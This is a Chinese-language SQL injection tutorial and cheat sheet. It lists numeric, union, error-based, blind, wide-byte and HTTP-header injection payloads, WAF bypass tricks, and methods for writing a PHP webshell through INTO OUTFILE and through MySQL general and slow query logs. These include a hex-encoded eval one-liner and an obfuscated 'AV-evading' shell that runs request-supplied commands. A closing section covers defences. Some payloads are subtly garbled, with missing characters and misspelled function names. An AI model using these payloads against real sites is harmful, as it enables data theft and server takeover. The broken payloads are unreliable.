SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入漏洞产生需要满足的条件:
(1)参数用户可控:前端传给后端的参数内容是用户可控的
(2)参数能够代入数据库查询:传入的参数拼接到SQL语句,且能带入数据库查询
1、数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2、网页篡改:通过操作数据库对特定网页进行篡改。
3、网站被挂马,传播恶意软件:修改数据库字段值,嵌入网马链接,进行挂马攻击。
4、数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5、服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
6、破坏硬盘数据,瘫痪全系统。
当输入的参数为整型时,且存在注入漏洞,可以认为是数字型注入。
例如PHP处理语句:$query="select * from users where id=$_GET['id']";
当传入的ID参数为 1' 时,数据库执行代码为 select * from users where id=1' 显然这不符合数据库语法规范,所以会报错。
当传入的ID参数为 1 and 1=1 时,执行语句为 select * from users where id=1 and 1=1 时执行结果与id=1相同。
当传入的ID参数为 1 and 1=2 时,执行语句为 select * from users where id=1 and 1=2 时,由于1=2不成立,执行结果与id=1不相同。
当输入的参数为字符时,且存在注入漏洞,可以认为是字符型注入。
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段 like '%关键字%'
组合出来的sql注入语句为:
select * from news where search like '%测试 %' and '%1%'='%1%'测试%' union select 1,2,3,4 and '%'='
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
例PHP处理语句(参数为整型):$query="select * from users where id=$_GET['id']";
使用order by 1-99语句查询数据表的字段数量。比如 select * from users where id=1 order by 2 意思是:表中所有数据按照第二个字段中数据的大小进行排序后查询用户表中id=1的用户数据。如果查询结果存在,说明表的第二列和第二列之前存在字段,如查询时没有结果,则说明表中该列和该列之后都不存在字段。
使用union关键字可以合并两个或多个sql语句的结果集,但两者必须有相同列、且各列的数据类型也都相同。比如 select * from users where id=1 union select 1,2,3 from users; 意思是:查询表中id=1的结果集,并且把查询语句 select 1,2,3 from users; 的结果集拼接到上一个结果集的最后一行。根据页面回显的显示位中数字编号来确定该显示位显示的是哪一个字段的结果。
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息使得页面回显出错误信息的时候方能使用。 当页面没有回显位,利用单(双)引号注入发现报错的具体信息回显在页面上时,可以利用报错函数进行报错注入。
updataxml(xml_target,xpath_expr,new_xml):改变文档对象中符合条件的节点值
XML_target:不参与报错,可为任意值。(XML文档对象)
XPath_expr:必须是一个符合XPath语法的字符串,如果不是XPath格式,则会报错并显示出XPath_expr的值。(文档对象中需要修改的xml路径)
new_value:不参与报错,可为任意值。(路径下更新后的节点内容)
extractvalue(xml_frag,xpath_expr):查找从XML对象中所查询节点路径下的子节点值。
xml_frag:不参与报错,可为任意值。(XML文档对象)
xpath_expr:必须是一个符合XPath语法的字符串,如果不是XPath格式,则会报错并显示出XPath_expr的值。(文档对象中要查询的XML路径)
concat(字符串1,字符串2):拼接字符串,并且该函数中的sql语句能够被执行。
利用XPath_expr的格式出错会回显数值的特性和concat()函数能够执行sql语句的特性,将查询的信息回显出来。例如 1' and extractvalue(1,concat('~',(select database())))--+
concat+rand()+group_by()导致主键重复
这种报错方法的本质是因为floor(rand(0)*2)(其会生成0和1两个数)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
rand():生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
floor():对任意正或者负的十进制值向下取整
常见的12种报错注入+万能语句为:
通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))
通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
盲注需要掌握的几个函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
Sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):若expr1为真就执行expr2;如果expr1为假就执行expr3
MID() 函数用于从文本字段中提取字符
在网页屏蔽了错误信息时就只能通过网页返回True或者False判断,本质上是一种暴力破解,这就是布尔盲注的利用点。 因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
id=1' and length(database())>3--+ //参数类型为字符型
如果数据库名称长度大于3,结果为true,页面有显示正确内容;如果数据库名称长度小于或等于3,则结果为false,页面无回显。
当布尔型注入没有结果(页面显示正常)的时候,以使用时间盲注,所谓基于时间的盲注,主要是利用sleep函数让网页的响应时间不同从而实现注入。
id=1' and if(length(database())>2,sleep(3),1) --+ //参数类型为字符型
如果数据库名称长度大于2,页面会延缓3秒响应;如果数据库名称长度小于或等于0,页面会立即响应,速度过快感觉不到页面的变化。
原理就是mysql_multi_query() 支持多条sql语句同时执行,用;分隔,成堆的执行sql语句。它可以同时执行无数条语句而且是任何sql语句。但是当API或数据库引擎的不支持,堆叠注入就不能进行啦
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
第一次注入:防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中。
第二次注入:当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
1、简介
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
2、条件
(1)首先要满足目标程序使用双/多字节字符集进行解析
(2)其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\。
3、示例
原语句:id=1' and 1=1%23
注入语句:id=1%df' and 1=1%23
执行语句:select * from user where id ='1運' and 1=1#'
宽字节带来的安全问题主要是吃ascll字符(一个字节)的现象。我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
提交数据的方式是 GET , 注入点的位置在 GET 参数部分,一般显示在URL中。
使用 POST 方式提交数据,注入点位置在 POST 数据部分,post提交方式主要适用于表单的提交,用于登录框的注入。
post型盲注通杀payload:uname=admin%df'or()or%200%23&passwd=&submit=Submit
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入。
注入点在 HTTP 请求头部的某个字段中。
User-Agent注入:(标识发送该请求的浏览器信息)
User-Agent:1' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1
Referer 注入 :(标识该请求来自哪一个URL)
Referer:1' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
X-Forwarded-For(XFF)注入 :(是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。)
如果系统采用了服务器后端获取 X-Forwarded-For数据利用
String ip = request.getHeader("X-Forwarded-For")
进行获取ip,攻击者可以通过X-Forwarded-For请求头信息进行伪造ip,当然了这个ip也可以是一些注入语句,如下:
X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)-- String sql = "select * from table where ip = '"+ip+"'";
构造X-Forwoarded-For头进行测试,http响应出现变化
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958-- X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
1、大小写变换
2、双写关键字
3、编码
4、使用注释符
5、同功能函数与命令
6、特殊符号
7、更改提交请求方式
需要满足的条件
- 对web目录有写权限
- GPC关闭(GPC:是否对单引号转义)
- 有绝对路径(读文件可以不用,写文件需要)
- 没有配置secure-file-priv
?id=1 union select 1,"",3 into outfile 'D:/WWW/evil.php'
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
?id=1 into outfile 'D:/WWW/evil.php' fields terminated by '' ?id=1 into outfile 'D:/WWW/evil.php' lines terminated by ''--+ ?id=1 LIMIT 0,1 INTO OUTFILE 'D:/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。需要满足的条件:
1、对web目录有写权限
2、GPC关闭(GPC:是否对单引号转义)
3、有绝对路径(读文件可以不用,写文件需要)
4、需要能执行多行SQL语句show variables like '%general%'; # 查看配置 set global general_log = on; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。 set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址 select '' # 写入shell set global general_log=off; # 关闭general log模式
在高版本的mysql中默认为NULL,就是不让导入和导出
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
使用慢查询日志绕过此限制
show variables like '%slow_query_log%'; #查看慢查询日志开启情况 set global slow_query_log=1 #开启慢查询日志 set global slow_query_log_file='D:/phpStudy/WWW/evil.php; #修改日志文件存储的绝对路径 '' or sleep(11); #写入shell show global variables like '%long_query_time%'; #使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间
免杀shell
SELECT "'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>"
load_file()读文件——select load_file(‘目录’)。路径使用
\\
,否则会被当作转义符号。?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
防御姿势
设置 secure_file_prive = null (不允许导入和导出)
防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限。
1、严格区分用户权限
在权限设计中,针对软件用户,没有必要给予数据库的创建、删除等管理权限。这样即便在用户输入的SQL语句种含有内嵌式的恶意程序,因为其权限的限定,也不可能执行。所以程序在权限设计时,最好把管理员与用户区别起来。这样能够最大限度的降低注入式攻击对数据库产生的损害。
2、强制参数化语句
在设计数据库时,如果用户输入的数据并不直接内嵌到SQL语句中,而通过参数来进行传输的话,那麼就可以合理的预防SQL注入式攻击。运用这种方法能够避免绝大多数的SQL注入攻击。
3、检验用户输入的信息
严格过滤用户提交的数据。
4、利用专业的漏洞扫描工具
应用专业的漏洞扫描工具,能够协助管理人员来找寻有可能被SQL注入攻击的点。凭着专用工具,管理人员可以快速发觉SQL注入的漏洞,并采用积极主动的对策来预防SQL注入式攻击。
5、数据库信息加密
传统的加解密方法大致分为三种:对称加密、非对称加密、不可逆加密